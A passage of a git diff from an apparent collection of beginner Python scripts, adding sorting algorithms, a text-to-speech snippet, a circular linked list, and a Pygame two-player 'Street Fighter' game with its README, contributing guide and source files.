j + # Swap values of the lowest unsorted element with the first unsorted + # element + nums[i], nums[lowest_value_index] = nums[lowest_value_index], nums[i] + + +# Verify it works +random_list_of_nums = [12, 8, 3, 20, 11] +selection_sort(random_list_of_nums) +print(random_list_of_nums) diff --git a/Sorting Algorithms/sorting.py b/Sorting Algorithms/sorting.py new file mode 100644 index 00000000000..c56beca7375 --- /dev/null +++ b/Sorting Algorithms/sorting.py @@ -0,0 +1,20 @@ +arr = [7, 2, 8, 5, 1, 4, 6, 3] +temp = 0 + +print("Elements of original array: ") +for i in range(0, len(arr)): + print(arr[i], end=" ") + +for i in range(0, len(arr)): + for j in range(i + 1, len(arr)): + if arr[i] > arr[j]: + temp = arr[i] + arr[i] = arr[j] + arr[j] = temp + +print() + + +print("Elements of array sorted in ascending order: ") +for i in range(0, len(arr)): + print(arr[i], end=" ") diff --git a/Sorting Algorithms/stooge_sort.py b/Sorting Algorithms/stooge_sort.py new file mode 100644 index 00000000000..ace9ba22038 --- /dev/null +++ b/Sorting Algorithms/stooge_sort.py @@ -0,0 +1,35 @@ +# See what stooge sort dooes +# https://www.youtube.com/watch?v=vIDkfrSdID8 + + +def stooge_sort_(arr, l, h): + if l >= h: + return 0 + + # If first element is smaller than last, then swap + + if arr[l] > arr[h]: + t = arr[l] + arr[l] = arr[h] + arr[h] = t + + # If there are more than 2 elements in array + if h - l + 1 > 2: + t = (int)((h - l + 1) / 3) + + # Recursively sort first 2 / 3 elements + stooge_sort_(arr, l, (h - t)) + + # Recursively sort last 2 / 3 elements + stooge_sort_(arr, l + t, (h)) + + # Recursively sort first 2 / 3 elements + stooge_sort_(arr, l, (h - t)) + + +arr = [2, 4, 5, 3, 1] +n = len(arr) + +stooge_sort_(arr, 0, n - 1) + +print(arr) diff --git a/Sorting Algorithms/wave_sort.py b/Sorting Algorithms/wave_sort.py new file mode 100644 index 00000000000..cdaeb75afb2 --- /dev/null +++ b/Sorting Algorithms/wave_sort.py @@ -0,0 +1,11 @@ +def sortInWave(arr, n): + arr.sort() + for i in range(0, n - 1, 2): + arr[i], arr[i + 1] = arr[i + 1], arr[i] + + +arr = [] +arr = input("Enter the arr") +sortInWave(arr, len(arr)) +for i in range(0, len(arr)): + print(arr[i], " ") diff --git a/SpeechToText.py b/SpeechToText.py new file mode 100644 index 00000000000..0d8f18fbf9b --- /dev/null +++ b/SpeechToText.py @@ -0,0 +1,14 @@ +import pyttsx3 + +engine = pyttsx3.init() + +voices = engine.getProperty("voices") +for voice in voices: + print(voice.id) + print(voice.name) + +id = r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Speech\Voices\Tokens\TTS_MS_EN-US_DAVID_11.0" +engine.setProperty("voices", id) +engine.setProperty("rate", 165) +engine.say("jarivs") # Replace string with our own text +engine.runAndWait() diff --git a/Split_Circular_Linked_List.py b/Split_Circular_Linked_List.py new file mode 100644 index 00000000000..26e4a2b8dd2 --- /dev/null +++ b/Split_Circular_Linked_List.py @@ -0,0 +1,66 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Circular_Linked_List: + def __init__(self): + self.head = None + + def Push(self, data): + temp = Node(data) + temp.next = self.head + temp1 = self.head + if self.head is not None: + while temp1.next is not None: + temp1 = temp1.next + temp1.next = temp + else: + temp.next = temp + self.head = temp + + def Split_List(self, head1, head2): + if self.head is None: + return + slow_ptr = self.head + fast_ptr = self.head + while fast_ptr.next != self.head and fast_ptr.next.next != self.head: + fast_ptr = fast_ptr.next.next + slow_ptr = slow_ptr.next.next + if fast_ptr.next.next == self.head: + fast_ptr = fast_ptr.next + head1 = self.head + slow_ptr.next = head1 + if self.head.next != self.head: + head2.head = slow_ptr.next + fast_ptr.next = slow_ptr.next + + def Display(self): + temp = self.head + if self.head is not None: + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + if temp == self.head: + print(temp.data) + break + + +if __name__ == "__main__": + L_list = Circular_Linked_List() + head1 = Circular_Linked_List() + head2 = Circular_Linked_List() + L_list.Push(6) + L_list.Push(4) + L_list.Push(2) + L_list.Push(8) + L_list.Push(12) + L_list.Push(10) + L_list.Split_List(head1, head2) + print("Circular Linked List: ") + L_list.Display() + print("Firts Split Linked List: ") + head1.Display() + print("Second Split Linked List: ") + head2.Display() diff --git a/Street_Fighter/LICENSE b/Street_Fighter/LICENSE new file mode 100644 index 00000000000..fca753e5588 --- /dev/null +++ b/Street_Fighter/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Aaditya Panda + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Street_Fighter/assets/audio/magic.wav b/Street_Fighter/assets/audio/magic.wav new file mode 100644 index 00000000000..1e55ba46a7f Binary files /dev/null and b/Street_Fighter/assets/audio/magic.wav differ diff --git a/Street_Fighter/assets/audio/music.mp3 b/Street_Fighter/assets/audio/music.mp3 new file mode 100644 index 00000000000..7b90d41e53b Binary files /dev/null and b/Street_Fighter/assets/audio/music.mp3 differ diff --git a/Street_Fighter/assets/audio/sword.wav b/Street_Fighter/assets/audio/sword.wav new file mode 100644 index 00000000000..960457f4e85 Binary files /dev/null and b/Street_Fighter/assets/audio/sword.wav differ diff --git a/Street_Fighter/assets/fonts/turok.ttf b/Street_Fighter/assets/fonts/turok.ttf new file mode 100644 index 00000000000..374aa5616bd Binary files /dev/null and b/Street_Fighter/assets/fonts/turok.ttf differ diff --git a/Street_Fighter/assets/images/bg.jpg b/Street_Fighter/assets/images/bg.jpg new file mode 100644 index 00000000000..26ea8d294f3 Binary files /dev/null and b/Street_Fighter/assets/images/bg.jpg differ diff --git a/Street_Fighter/assets/images/bg1.jpg b/Street_Fighter/assets/images/bg1.jpg new file mode 100644 index 00000000000..dd6726daa0f Binary files /dev/null and b/Street_Fighter/assets/images/bg1.jpg differ diff --git a/Street_Fighter/assets/images/bg2.jpg b/Street_Fighter/assets/images/bg2.jpg new file mode 100644 index 00000000000..bcf0238cadd Binary files /dev/null and b/Street_Fighter/assets/images/bg2.jpg differ diff --git a/Street_Fighter/assets/images/victory.png b/Street_Fighter/assets/images/victory.png new file mode 100644 index 00000000000..e0c0635c6a3 Binary files /dev/null and b/Street_Fighter/assets/images/victory.png differ diff --git a/Street_Fighter/assets/images/warrior.png b/Street_Fighter/assets/images/warrior.png new file mode 100644 index 00000000000..7861832be9f Binary files /dev/null and b/Street_Fighter/assets/images/warrior.png differ diff --git a/Street_Fighter/assets/images/wizard.png b/Street_Fighter/assets/images/wizard.png new file mode 100644 index 00000000000..02af53be4c2 Binary files /dev/null and b/Street_Fighter/assets/images/wizard.png differ diff --git a/Street_Fighter/docs/CODE_OF_CONDUCT.md b/Street_Fighter/docs/CODE_OF_CONDUCT.md new file mode 100644 index 00000000000..46d4c6ac60b --- /dev/null +++ b/Street_Fighter/docs/CODE_OF_CONDUCT.md @@ -0,0 +1,128 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity +and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +aadityapanda23@gmail.com. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series +of actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or +permanent ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within +the community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.0, available at +https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct +enforcement ladder](https://github.com/mozilla/diversity). + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see the FAQ at +https://www.contributor-covenant.org/faq. Translations are available at +https://www.contributor-covenant.org/translations. diff --git a/Street_Fighter/docs/CONTRIBUTING.md b/Street_Fighter/docs/CONTRIBUTING.md new file mode 100644 index 00000000000..3620474a5a2 --- /dev/null +++ b/Street_Fighter/docs/CONTRIBUTING.md @@ -0,0 +1,91 @@ +# Contributing to Shadow Fight + +Thank you for considering contributing to **Shadow Fight**! Your support and ideas are invaluable in improving this project. Whether you're fixing bugs, adding features, or suggesting improvements, we welcome all contributions. + +--- + +## 🛠 How to Contribute + +### 1. Fork the Repository +- Click the **Fork** button at the top of the repository page to create your own copy of the project. + +### 2. Clone Your Fork +- Clone your forked repository to your local machine: + ```bash + git clone https://github.com/AadityaPanda/Shadow-Fight.git + cd Shadow-Fight + ``` + +### 3. Create a Branch +- Create a new branch for your feature or bugfix: + ```bash + git checkout -b feature/YourFeatureName + ``` + +### 4. Make Changes +- Implement your feature, bugfix, or improvement. Ensure your code follows Python best practices and is well-commented. + +### 5. Test Your Changes +- Run the game to ensure your changes work as expected: + ```bash + python src/main.py + ``` + +### 6. Commit Your Changes +- Commit your changes with a descriptive message: + ```bash + git add . + git commit -m "Add YourFeatureName: Short description of changes" + ``` + +### 7. Push Your Branch +- Push your branch to your forked repository: + ```bash + git push origin feature/YourFeatureName + ``` + +### 8. Open a Pull Request +- Go to the original repository and open a **Pull Request** from your branch. Provide a clear description of the changes and any relevant details. + +--- + +## 🧑‍💻 Code of Conduct +By contributing, you agree to adhere to the project's [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful, inclusive, and collaborative. + +--- + +## 🛡️ Guidelines for Contributions + +- **Bug Reports**: + - Use the [Issues](https://github.com/AadityaPanda/Shadow-Fight/issues) tab to report bugs. + - Provide a clear description of the bug, including steps to reproduce it. + +- **Feature Requests**: + - Use the [Issues](https://github.com/AadityaPanda/Shadow-Fight/issues) tab to suggest new features. + - Explain the motivation behind the feature and how it will benefit the project. + +- **Coding Style**: + - Follow Python's [PEP 8 Style Guide](https://peps.python.org/pep-0008/). + - Keep code modular and well-documented with comments and docstrings. + +--- + +## 🔄 Issues and Feedback +- Check the [Issues](https://github.com/AadityaPanda/Shadow-Fight/issues) page for existing reports or feature requests before submitting a new one. +- Feel free to provide feedback or suggestions in the **Discussions** tab. + +--- + +## 🙌 Acknowledgments +We appreciate your efforts in making **Shadow Fight** better. Thank you for contributing and helping this project grow! + +--- + +## 📧 Contact +If you have any questions or need further assistance, reach out to the maintainer: +- **Developer**: Aaditya Panda +- **Email**: [aadityapanda23@gmail.com](mailto:aadityapanda23@gmail.com) + +--- + +We look forward to your contributions! 🎉 diff --git a/Street_Fighter/docs/README.md b/Street_Fighter/docs/README.md new file mode 100644 index 00000000000..2ff27a478e8 --- /dev/null +++ b/Street_Fighter/docs/README.md @@ -0,0 +1,129 @@ +# Street Fighter +![download](https://github.com/user-attachments/assets/1395caef-363b-4485-8c0a-8d738f3cd379) + + +**Street Fighter** is an engaging two-player fighting game built with Python and Pygame. This project features exciting gameplay mechanics, unique characters, and dynamic animations, making it a perfect choice for retro game enthusiasts and developers interested in Python-based game development. + +## Features +- **Two Distinct Fighters**: + - **Warrior**: A melee combatant with powerful sword attacks. + - **Wizard**: A magic wielder with spell-based attacks. + +- **Gameplay Mechanics**: + - Health bars for each fighter. + - Smooth animations for idle, run, jump, attack, hit, and death actions. + - Scoring system to track player victories. + +- **Dynamic Background**: + - Blurred background effects during the main menu for a cinematic feel. + +- **Sound Effects and Music**: + - Immersive soundtracks and attack effects. + +- **Responsive UI**: + - Main menu with start, score, and exit options. + - Victory screen for the winning fighter. + +- **Custom Controls** for two players. + +## 📋 Table of Contents +- [Street Fighter](#street-fighter) + - [Features](#features) + - [📋 Table of Contents](#-table-of-contents) + - [Requirements](#requirements) + - [Installation](#installation) + - [Gameplay Instructions](#gameplay-instructions) + - [Player Controls:](#player-controls) + - [Downloads](#downloads) + - [License](#license) + - [Credits](#credits) + - [Contributing](#contributing) + - [Contact](#contact) + +## Requirements +- Python 3.7 or higher +- Required Python libraries: + - `pygame` + - `numpy` + - `opencv-python` + +## Installation + +Follow these steps to install and run the game: + +1. **Clone the Repository**: + ```bash + git clone https://github.com/AadityaPanda/Street_Fighter.git + cd Streer_Fighter + ``` + +2. **Install Dependencies**: + ```bash + pip install -r + ``` + +3. **Run the Game**: + ```bash + python src/main.py + ``` + +## Gameplay Instructions + +### Player Controls: +- **Player 1**: + - Move: `A` (Left), `D` (Right) + - Jump: `W` + - Attack: `R` (Attack 1), `T` (Attack 2) + +- **Player 2**: + - Move: Left Arrow (`←`), Right Arrow (`→`) + - Jump: Up Arrow (`↑`) + - Attack: `M` (Attack 1), `N` (Attack 2) + +**Objective**: Reduce your opponent's health to zero to win the round. Victory is celebrated with a dynamic win screen! + +## Downloads + +You can download the latest release of **Street Fighter** from the following link: + +[![Version](https://img.shields.io/github/v/release/AadityaPanda/Street_Fighter?color=%230567ff&label=Latest%20Release&style=for-the-badge)](https://github.com/AadityaPanda/Street_Fighter/releases/latest) Download + +## License + +This project is licensed under the [MIT License](LICENSE). Feel free to use, modify, and distribute it in your projects. + +## Credits + +- **Developer**: Aaditya Panda +- **Assets**: + - Background music and sound effects: [Free Music Archive](https://freemusicarchive.org/) + - Fonts: [Turok Font](https://www.fontspace.com/turok-font) + - Sprites: Custom-designed and modified from open-source assets. + +## Contributing + +Contributions are welcome! Here's how you can help: +1. Fork the repository. +2. Create a new branch: + ```bash + git checkout -b feature/YourFeatureName + ``` +3. Commit your changes: + ```bash + git commit -m "Add YourFeatureName" + ``` +4. Push to the branch: + ```bash + git push origin feature/YourFeatureName + ``` +5. Open a pull request. + +Check the [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines. + +## Contact + +- **Developer**: Aaditya Panda +- **Email**: [aadityapanda23@gmail.com](mailto:aadityapanda23@gmail.com) +- **GitHub**: [AadityaPanda](https://github.com/AadityaPanda) + +Try somehting new everyday!!! diff --git a/Street_Fighter/docs/SECURITY.md b/Street_Fighter/docs/SECURITY.md new file mode 100644 index 00000000000..68fdc61aff0 --- /dev/null +++ b/Street_Fighter/docs/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/Street_Fighter/docs/requirements.txt b/Street_Fighter/docs/requirements.txt new file mode 100644 index 00000000000..3c0b6f57287 --- /dev/null +++ b/Street_Fighter/docs/requirements.txt @@ -0,0 +1,3 @@ +pygame +numpy +opencv-python diff --git a/Street_Fighter/src/fighter.py b/Street_Fighter/src/fighter.py new file mode 100644 index 00000000000..94fc68abd16 --- /dev/null +++ b/Street_Fighter/src/fighter.py @@ -0,0 +1,208 @@ +import pygame + + +class Fighter: + def __init__(self, player, x, y, flip, data, sprite_sheet, animation_steps, sound): + self.player = player + self.size = data[0] + self.image_scale = data[1] + self.offset = data[2] + self.flip = flip + self.animation_list = self.load_images(sprite_sheet, animation_steps) + self.action = 0 # 0:idle #1:run #2:jump #3:attack1 #4: attack2 #5:hit #6:death + self.frame_index = 0 + self.image = self.animation_list[self.action][self.frame_index] + self.update_time = pygame.time.get_ticks() + self.rect = pygame.Rect((x, y, 80, 180)) + self.vel_y = 0 + self.running = False + self.jump = False + self.attacking = False + self.attack_type = 0 + self.attack_cooldown = 0 + self.attack_sound = sound + self.hit = False + self.health = 100 + self.alive = True + + def load_images(self, sprite_sheet, animation_steps): + # extract images from spritesheet + animation_list = [] + for y, animation in enumerate(animation_steps): + temp_img_list = [] + for x in range(animation): + temp_img = sprite_sheet.subsurface( + x * self.size, y * self.size, self.size, self.size + ) + temp_img_list.append( + pygame.transform.scale( + temp_img, + (self.size * self.image_scale, self.size * self.image_scale), + ) + ) + animation_list.append(temp_img_list) + return animation_list + + def move(self, screen_width, screen_height, target, round_over): + SPEED = 10 + GRAVITY = 2 + dx = 0 + dy = 0 + self.running = False + self.attack_type = 0 + + # get keypresses + key = pygame.key.get_pressed() + + # can only perform other actions if not currently attacking + if self.attacking == False and self.alive == True and round_over == False: + # check player 1 controls + if self.player == 1: + # movement + if key[pygame.K_a]: + dx = -SPEED + self.running = True + if key[pygame.K_d]: + dx = SPEED + self.running = True + # jump + if key[pygame.K_w] and self.jump == False: + self.vel_y = -30 + self.jump = True + # attack + if key[pygame.K_r] or key[pygame.K_t]: + self.attack(target) + # determine which attack type was used + if key[pygame.K_r]: + self.attack_type = 1 + if key[pygame.K_t]: + self.attack_type = 2 + + # check player 2 controls + if self.player == 2: + # movement + if key[pygame.K_LEFT]: + dx = -SPEED + self.running = True + if key[pygame.K_RIGHT]: + dx = SPEED + self.running = True + # jump + if key[pygame.K_UP] and self.jump == False: + self.vel_y = -30 + self.jump = True + # attack + if key[pygame.K_m] or key[pygame.K_n]: + self.attack(target) + # determine which attack type was used + if key[pygame.K_m]: + self.attack_type = 1 + if key[pygame.K_n]: + self.attack_type = 2 + + # apply gravity + self.vel_y += GRAVITY + dy += self.vel_y + + # ensure player stays on screen + if self.rect.left + dx < 0: + dx = -self.rect.left + if self.rect.right + dx > screen_width: + dx = screen_width - self.rect.right + if self.rect.bottom + dy > screen_height - 110: + self.vel_y = 0 + self.jump = False + dy = screen_height - 110 - self.rect.bottom + + # ensure players face each other + if target.rect.centerx > self.rect.centerx: + self.flip = False + else: + self.flip = True + + # apply attack cooldown + if self.attack_cooldown > 0: + self.attack_cooldown -= 1 + + # update player position + self.rect.x += dx + self.rect.y += dy + + # handle animation updates + def update(self): + # check what action the player is performing + if self.health <= 0: + self.health = 0 + self.alive = False + self.update_action(6) # 6:death + elif self.hit: + self.update_action(5) # 5:hit + elif self.attacking: + if self.attack_type == 1: + self.update_action(3) # 3:attack1 + elif self.attack_type == 2: + self.update_action(4) # 4:attack2 + elif self.jump: + self.update_action(2) # 2:jump + elif self.running: + self.update_action(1) # 1:run + else: + self.update_action(0) # 0:idle + + animation_cooldown = 50 + # update image + self.image = self.animation_list[self.action][self.frame_index] + # check if enough time has passed since the last update + if pygame.time.get_ticks() - self.update_time > animation_cooldown: + self.frame_index += 1 + self.update_time = pygame.time.get_ticks() + # check if the animation has finished + if self.frame_index >= len(self.animation_list[self.action]): + # if the player is dead then end the animation + if not self.alive: + self.frame_index = len(self.animation_list[self.action]) - 1 + else: + self.frame_index = 0 + # check if an attack was executed + if self.action == 3 or self.action == 4: + self.attacking = False + self.attack_cooldown = 20 + # check if damage was taken + if self.action == 5: + self.hit = False + # if the player was in the middle of an attack, then the attack is stopped + self.attacking = False + self.attack_cooldown = 20 + + def attack(self, target): + if self.attack_cooldown == 0: + # execute attack + self.attacking = True + self.attack_sound.play() + attacking_rect = pygame.Rect( + self.rect.centerx - (2 * self.rect.width * self.flip), + self.rect.y, + 2 * self.rect.width, + self.rect.height, + ) + if attacking_rect.colliderect(target.rect): + target.health -= 10 + target.hit = True + + def update_action(self, new_action): + # check if the new action is different to the previous one + if new_action != self.action: + self.action = new_action + # update the animation settings + self.frame_index = 0 + self.update_time = pygame.time.get_ticks() + + def draw(self, surface): + img = pygame.transform.flip(self.image, self.flip, False) + surface.blit( + img, + ( + self.rect.x - (self.offset[0] * self.image_scale), + self.rect.y - (self.offset[1] * self.image_scale), + ), + ) diff --git a/Street_Fighter/src/main.py b/Street_Fighter/src/main.py new file mode 100644 index 00000000000..62778cee3b3 --- /dev/null +++ b/Street_Fighter/src/main.py @@ -0,0 +1,430 @@ +import math +import pygame +from pygame import mixer +import cv2 +import numpy as np +import os +import sys +from fighter import Fighter + + +# Helper Function for Bundled Assets +def resource_path(relative_path): + try: + base_path = sys._MEIPASS + except Exception: + base_path = os.path.abspath(".") + + return os.path.join(base_path, relative_path) + + +mixer.init() +pygame.init() + +# Constants +info = pygame.display.Info() +SCREEN_WIDTH = info.current_w +SCREEN_HEIGHT = info.current_h +FPS = 60 +ROUND_OVER_COOLDOWN = 3000 + +# Colors +RED = (255, 0, 0) +YELLOW = (255, 255, 0) +WHITE = (255, 255, 255) +BLACK = (0, 0, 0) +BLUE = (0, 0, 255) +GREEN = (0, 255, 0) + +# Initialize Game Window +screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT), pygame.NOFRAME) +pygame.display.set_caption("Street Fighter") +clock = pygame.time.Clock() + +# Load Assets +bg_image = cv2.imread(resource_path("assets/images/bg1.jpg")) +victory_img = pygame.image.load( + resource_path("assets/images/victory.png") +).convert_alpha() +warrior_victory_img = pygame.image.load( + resource_path("assets/images/warrior.png") +).convert_alpha() +wizard_victory_img = pygame.image.load( + resource_path("assets/images/wizard.png") +).convert_alpha() + +# Fonts +menu_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 50) +menu_font_title = pygame.font.Font( + resource_path("assets/fonts/turok.ttf"), 100 +) # Larger font for title +count_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 80) +score_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 30) + +# Music and Sounds +pygame.mixer.music.load(resource_path("assets/audio/music.mp3")) +pygame.mixer.music.set_volume(0.5) +pygame.mixer.music.play(-1, 0.0, 5000) +sword_fx = pygame.mixer.Sound(resource_path("assets/audio/sword.wav")) +sword_fx.set_volume(0.5) +magic_fx = pygame.mixer.Sound(resource_path("assets/audio/magic.wav")) +magic_fx.set_volume(0.75) + +# Load Fighter Spritesheets +warrior_sheet = pygame.image.load( + resource_path("assets/images/warrior.png") +).convert_alpha() +wizard_sheet = pygame.image.load( + resource_path("assets/images/wizard.png") +).convert_alpha() + +# Define Animation Steps +WARRIOR_ANIMATION_STEPS = [10, 8, 1, 7, 7, 3, 7] +WIZARD_ANIMATION_STEPS = [8, 8, 1, 8, 8, 3, 7] + +# Fighter Data +WARRIOR_SIZE = 162 +WARRIOR_SCALE = 4 +WARRIOR_OFFSET = [72, 46] +WARRIOR_DATA = [WARRIOR_SIZE, WARRIOR_SCALE, WARRIOR_OFFSET] +WIZARD_SIZE = 250 +WIZARD_SCALE = 3 +WIZARD_OFFSET = [112, 97] +WIZARD_DATA = [WIZARD_SIZE, WIZARD_SCALE, WIZARD_OFFSET] + +# Game Variables +score = [0, 0] # Player Scores: [P1, P2] + + +def draw_text(text, font, color, x, y): + img = font.render(text, True, color) + screen.blit(img, (x, y)) + + +def blur_bg(image): + image_bgr = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) + blurred_image = cv2.GaussianBlur(image_bgr, (15, 15), 0) + return cv2.cvtColor(blurred_image, cv2.COLOR_BGR2RGB) + + +def draw_bg(image, is_game_started=False): + if not is_game_started: + blurred_bg = blur_bg(image) + blurred_bg = pygame.surfarray.make_surface(np.transpose(blurred_bg, (1, 0, 2))) + blurred_bg = pygame.transform.scale(blurred_bg, (SCREEN_WIDTH, SCREEN_HEIGHT)) + screen.blit(blurred_bg, (0, 0)) + else: + image = pygame.surfarray.make_surface(np.transpose(image, (1, 0, 2))) + image = pygame.transform.scale(image, (SCREEN_WIDTH, SCREEN_HEIGHT)) + screen.blit(image, (0, 0)) + + +def draw_button(text, font, text_col, button_col, x, y, width, height): + pygame.draw.rect(screen, button_col, (x, y, width, height)) + pygame.draw.rect(screen, WHITE, (x, y, width, height), 2) + text_img = font.render(text, True, text_col) + text_rect = text_img.get_rect(center=(x + width // 2, y + height // 2)) + screen.blit(text_img, text_rect) + return pygame.Rect(x, y, width, height) + + +def victory_screen(winner_img): + start_time = pygame.time.get_ticks() + while pygame.time.get_ticks() - start_time < ROUND_OVER_COOLDOWN: + resized_victory_img = pygame.transform.scale( + victory_img, (victory_img.get_width() * 2, victory_img.get_height() * 2) + ) + screen.blit( + resized_victory_img, + ( + SCREEN_WIDTH // 2 - resized_victory_img.get_width() // 2, + SCREEN_HEIGHT // 2 - resized_victory_img.get_height() // 2 - 50, + ), + ) + + screen.blit( + winner_img, + ( + SCREEN_WIDTH // 2 - winner_img.get_width() // 2, + SCREEN_HEIGHT // 2 - winner_img.get_height() // 2 + 100, + ), + ) + + pygame.display.update() + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + exit() + + +def draw_gradient_text(text, font, x, y, colors): + """ + Draws a gradient text by layering multiple text surfaces with slight offsets. + """ + offset = 2 + for i, color in enumerate(colors): + img = font.render(text, True, color) + screen.blit(img, (x + i * offset, y + i * offset)) + + +def main_menu(): + animation_start_time = pygame.time.get_ticks() + + while True: + draw_bg(bg_image, is_game_started=False) + + elapsed_time = (pygame.time.get_ticks() - animation_start_time) / 1000 + scale_factor = 1 + 0.05 * math.sin(elapsed_time * 2 * math.pi) # Slight scaling + scaled_font = pygame.font.Font( + "assets/fonts/turok.ttf", int(100 * scale_factor) + ) + + title_text = "STREET FIGHTER" + colors = [BLUE, GREEN, YELLOW] + shadow_color = BLACK + title_x = SCREEN_WIDTH // 2 - scaled_font.size(title_text)[0] // 2 + title_y = SCREEN_HEIGHT // 6 + + shadow_offset = 5 + draw_text( + title_text, + scaled_font, + shadow_color, + title_x + shadow_offset, + title_y + shadow_offset, + ) + draw_gradient_text(title_text, scaled_font, title_x, title_y, colors) + + button_width = 280 + button_height = 60 + button_spacing = 30 + + start_button_y = ( + SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 1.5 + 50 + ) + scores_button_y = ( + SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 0.5 + 50 + ) + exit_button_y = SCREEN_HEIGHT // 2 + (button_height + button_spacing) * 0.5 + 50 + + start_button = draw_button( + "START GAME", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + start_button_y, + button_width, + button_height, + ) + scores_button = draw_button( + "SCORES", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + scores_button_y, + button_width, + button_height, + ) + exit_button = draw_button( + "EXIT", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + exit_button_y, + button_width, + button_height, + ) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if start_button.collidepoint(event.pos): + return "START" + if scores_button.collidepoint(event.pos): + return "SCORES" + if exit_button.collidepoint(event.pos): + pygame.quit() + exit() + + pygame.display.update() + clock.tick(FPS) + + 